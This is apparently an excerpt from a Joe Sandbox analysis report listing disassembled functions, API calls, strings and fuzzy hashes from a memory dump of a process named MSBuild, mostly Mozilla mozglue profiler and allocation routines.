Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
__Init_thread_footer.LIBCMT ref: 6CC0949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CC0947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CC0946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CC09459

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: c030a86e20179a737615462dbc1c866e121c3dad4c2563022985e50438da7088
Instruction ID: 5deee6d15f109f8d23b5428e04a92d513807375bf289385ca99bb41bbf41a8b1
Opcode Fuzzy Hash: c030a86e20179a737615462dbc1c866e121c3dad4c2563022985e50438da7088
Instruction Fuzzy Hash: 0201A770B001018BD710BBEDD815B4A37B5AB0637DF05C537ED0A86F51FA32E86A895B

Function 6CC10F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC10F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC10F88
GetCurrentThreadId.KERNEL32 ref: 6CC10FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CC11067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CC110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CC1114B

Part of subcall function 6CC08AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC21563), ref: 6CC08BD5

free.MOZGLUE(?), ref: 6CC11174
free.MOZGLUE(?), ref: 6CC11186

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 3a4a97685aaa22e3a154c80593e3c29af4fb790779e62c8421b92ef5ce420faa
Instruction ID: d5635d89e5a7ec06f35ceb502ae91d770c3fff0dcf8932123bec0e40d135301f
Opcode Fuzzy Hash: 3a4a97685aaa22e3a154c80593e3c29af4fb790779e62c8421b92ef5ce420faa
Instruction Fuzzy Hash: CD61CF75A083409FDB10DF26C880BAAB7F5BFD5318F14891DE88987B11EB31E859DB81

Function 6CBCE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6CBD1999), ref: 6CBCEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6CBCEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6CBCEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6CBD1999), ref: 6CBCEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6CBD1999), ref: 6CBCEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6CBCEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6CBCEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6CBCEB27

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 034f2ef5d50b3991d9159e27fe5a6e1036a08f12f6c86e50821b32707a43a278
Instruction ID: fc12d393549667d5c5b5beae9d4c4a56ca919d4644943777e11317821d4d4dc7
Opcode Fuzzy Hash: 034f2ef5d50b3991d9159e27fe5a6e1036a08f12f6c86e50821b32707a43a278
Instruction Fuzzy Hash: 7F41B4B1A00255DFDB14CF68DC81AAE77A4FF55354F240628F815D7794E730EA0487E2

Function 6CBCB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB6AC

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CBCB61E), ref: 6CBCB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB79A

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 33934e093c138c3e658b7b7ca9e2302386d944d95cb190dd7089ad77e9be9e72
Instruction ID: 24df53575f7affc782a284721df9d09471c723074e80c9f175e0914dce284eb7
Opcode Fuzzy Hash: 33934e093c138c3e658b7b7ca9e2302386d944d95cb190dd7089ad77e9be9e72
Instruction Fuzzy Hash: E441A6B2E001559FCB04DF68DC409AFB7B5FB54324F25066AE825E7790E731A91487D2

Function 6CBCEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CC45104), ref: 6CBCEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBCEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBCEFEC
free.MOZGLUE(?), ref: 6CBCF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBCF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CBCF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBCF065
moz_xmalloc.MOZGLUE ref: 6CBCF072

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: fe3f5cf6376651ecbd0f1318c78abbf8b1a2762097d74225d433f0a7787194b9
Instruction ID: 5b7aaf063ec20862d13beccc819e24e7ab14a5ef06877f6dc3d2e0315a910c70
Opcode Fuzzy Hash: fe3f5cf6376651ecbd0f1318c78abbf8b1a2762097d74225d433f0a7787194b9
Instruction Fuzzy Hash: 4A41F4B1B002559FDB08CF68D8819AE7769EF84324B24426CE815DB794EB31E905C7E2

Function 6CC3B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CC3B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC3B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC3B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC3B5F4
__Init_thread_footer.LIBCMT ref: 6CC3B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CC3B61F
std::_Facet_Register.LIBCPMT ref: 6CC3B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC3B655

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: dad741efccb402d4b933ec3c532896e253fb4471cc1ea85dbbac576c1875d8b2
Instruction ID: 60fb51a38362d4a9e6cc97aa743c95619a45a5c5eccb414cd9feb7b4aef1a255
Opcode Fuzzy Hash: dad741efccb402d4b933ec3c532896e253fb4471cc1ea85dbbac576c1875d8b2
Instruction Fuzzy Hash: 3031E771B00514CFCF00EF69C8649AEB7B5FF89328F1485A9D91697740EB30A806CF91

Function 6CBD9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CC27ABE), ref: 6CBD985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CC27ABE), ref: 6CBD98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CBD9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CBD9918
free.MOZGLUE(?), ref: 6CBD9975

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: cfef5e3177ce97c8e7ad8697e94ab17163a6a241298fbb8a149d09cf048e2cff
Instruction ID: bf3288d719def5c12a85f605ab79d3475f8fb1cba1ecfdde5312a084f14a3104
Opcode Fuzzy Hash: cfef5e3177ce97c8e7ad8697e94ab17163a6a241298fbb8a149d09cf048e2cff
Instruction Fuzzy Hash: EC71AB74A047458FC724CF28C490956BBF1FF4A3287254AADD85ACBB90DB32F841CB91

Function 6CBDB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CC1CC83,?,?,?,?,?,?,?,?,?,6CC1BCAE,?,?,6CC0DC2C), ref: 6CBDB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CC1CC83,?,?,?,?,?,?,?,?,?,6CC1BCAE,?,?,6CC0DC2C), ref: 6CBDB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CC1CC83,?,?,?,?,?,?,?,?,?,6CC1BCAE), ref: 6CBDB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CC1CC83,?,?,?,?,?,?,?,?,?,6CC1BCAE,?,?,6CC0DC2C), ref: 6CBDB896

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 05f1f78867c54e88a7c3c2b451e4dd02776070562e40af671ac468b9ea750631
Instruction ID: 8b9ff1e3e5b4228995ab33e0735848b8c436a890fc314e212f9a21f09bdc48f7
Opcode Fuzzy Hash: 05f1f78867c54e88a7c3c2b451e4dd02776070562e40af671ac468b9ea750631
Instruction Fuzzy Hash: 61518A357006808FCB24DF59C494A2ABBF5FF89319B6A859DE98A97341C731FC02CB81

Function 6CC11D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC11D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CC11BE3,?,?,6CC11D96,00000000), ref: 6CC11D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CC11BE3,?,?,6CC11D96,00000000), ref: 6CC11D4C
GetCurrentThreadId.KERNEL32 ref: 6CC11DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC11DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC11DDA

Part of subcall function 6CC11EF0: GetCurrentThreadId.KERNEL32 ref: 6CC11F03
Part of subcall function 6CC11EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CC11DF2,00000000,00000000), ref: 6CC11F0C
Part of subcall function 6CC11EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CC11F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CC11DF4

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: c0720c8e7d4a4808e02d0930c9a64880a2e9e5c3fdb8d2998ed3506b9d809cf3
Instruction ID: 822fda1086bc3dbcc57c4f21c32ac405d9fdbfe89ad4707866d8a5d465cbfb98
Opcode Fuzzy Hash: c0720c8e7d4a4808e02d0930c9a64880a2e9e5c3fdb8d2998ed3506b9d809cf3
Instruction Fuzzy Hash: 304168B52007049FCB10EF29C498A5ABBF9FB89318F10846DE95A87B41DB75E854CB91

Function 6CBD38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CC4E220,?,?,?,?,6CBD3899,?), ref: 6CBD38B2
ReleaseSRWLockExclusive.KERNEL32(6CC4E220,?,?,?,6CBD3899,?), ref: 6CBD38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CBD3899,?), ref: 6CBD38F1
RtlFreeHeap.NTDLL ref: 6CBD3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CBD3899,?), ref: 6CBD392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CBD3899,?), ref: 6CBD3943
RtlFreeHeap.NTDLL ref: 6CBD396E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: d3044f3bba099f4e2537162b41e1fc83849b6780d97eeed399783292a4ab68b0
Instruction ID: d2d3b900c6e10ee5d7b10a52884f6fe3a1f849f8af5d4948217d60a90da85422
Opcode Fuzzy Hash: d3044f3bba099f4e2537162b41e1fc83849b6780d97eeed399783292a4ab68b0
Instruction Fuzzy Hash: 7E214473600BA0DFD720DF25C880B8AB7B8EF44328F128429E95A97B01D735F885CB91

Function 6CC084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC085AC

Part of subcall function 6CC07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0767F
Part of subcall function 6CC07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC07693
Part of subcall function 6CC07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC085B2

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 7b46634786c1a08252ab34a94179dcf3c574049ddd7d6857bdd335d66a1477c3
Instruction ID: a889325b2c8426e820fb6514a3a8cbb42ed767cbed220e6ee6e2e2b10ec4d910
Opcode Fuzzy Hash: 7b46634786c1a08252ab34a94179dcf3c574049ddd7d6857bdd335d66a1477c3
Instruction Fuzzy Hash: 59217F743006019FEB14DB25C888E5AB7B5AF8430DF14882DE95BC3B41EB36F959CB51

Function 6CBD1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBD1699
VerSetConditionMask.NTDLL ref: 6CBD16CB
VerSetConditionMask.NTDLL ref: 6CBD16D7
VerSetConditionMask.NTDLL ref: 6CBD16DE
VerSetConditionMask.NTDLL ref: 6CBD16E5
VerSetConditionMask.NTDLL ref: 6CBD16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBD16F9

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 1aa749f52d88a84a84a5e415f870a3158125e5a4ccb07fef5dd9cd63ed44ec5e
Instruction ID: 1d0e443ad8f536e43ce000622a92f17f9a97b6caaa31e1a083ef1b62b45f40fb
Opcode Fuzzy Hash: 1aa749f52d88a84a84a5e415f870a3158125e5a4ccb07fef5dd9cd63ed44ec5e
Instruction Fuzzy Hash: 9521D2B07402486FEB10AB649C85FBBB37CEF86718F058528F6059B6C1D678AD54C7A1

Function 6CC1D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D1F5

Part of subcall function 6CC1AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6CC1AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D211
GetCurrentThreadId.KERNEL32 ref: 6CC1D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D279
free.MOZGLUE(?), ref: 6CC1D2B2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: a34cfc8648936e6ed6123e21099ae0d69033c8b2d40fbd02713e0812b8c4dbb2
Instruction ID: 27deb00d8a184500a2af6784131c44a1f497105ac1ccf3764e6964fc6b7e8bbc
Opcode Fuzzy Hash: a34cfc8648936e6ed6123e21099ae0d69033c8b2d40fbd02713e0812b8c4dbb2
Instruction Fuzzy Hash: 6321A371704705DFCB05DF25C498A9EB7B1FF8A328F10866DE52687740EB30A80ACB96

Function 6CC0F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC0F598), ref: 6CC0F621

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

